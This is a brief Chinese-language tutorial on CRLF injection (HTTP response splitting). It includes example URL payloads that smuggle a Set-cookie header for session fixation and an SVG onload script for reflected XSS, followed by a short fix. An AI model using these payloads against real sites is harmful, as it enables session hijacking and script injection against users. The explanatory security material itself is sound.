CRLF injection 简单总结

CRLF injection 简单总结

简介

CRLF是”回车 + 换行”( )的简称,即我们都知道在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来提取HTTP 内容
一旦我们能够控制http头,通过注入一些CRLF这样就可以控制header和body的分割线,这样我们就可以向body或是header中注入些东西了。所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

Example

通常来说,网站多数会通过HTTP Header 中的location的方式来实现跳转。
一般格式就是Location:xxx,简单例子

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.xxx.com

302跳与301跳的区别
http://www.cnblogs.com/fanyong/archive/2013/07/20/3202586.html

如果location直接从URL里获得的话, 输入

http://www.xxx.com%0aSet-cookie:JSPSESSID%3d12345
这样子,Header就变成了

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.xxx.com
Set-cookie:JSPSESSID=12345

瞬间就设置上了一个session,也就是“会话固定漏洞”
此外,比较有价值的是很容易造出一个能够轻松绕过filter的XSS,还是刚才那个例子,如果我们输入

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

那么Header就变成了

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.xxx.com
<svg/onload=prompt(1)>

那么网页的内容中就会有一个反射型的XSS了。

修复

只需要对输入进行过滤,过滤掉 ' ' 和 ' ',从而避免输入的数据污染到其他HTTP头。

原文地址:https://www.cnblogs.com/bendawang/p/5143560.html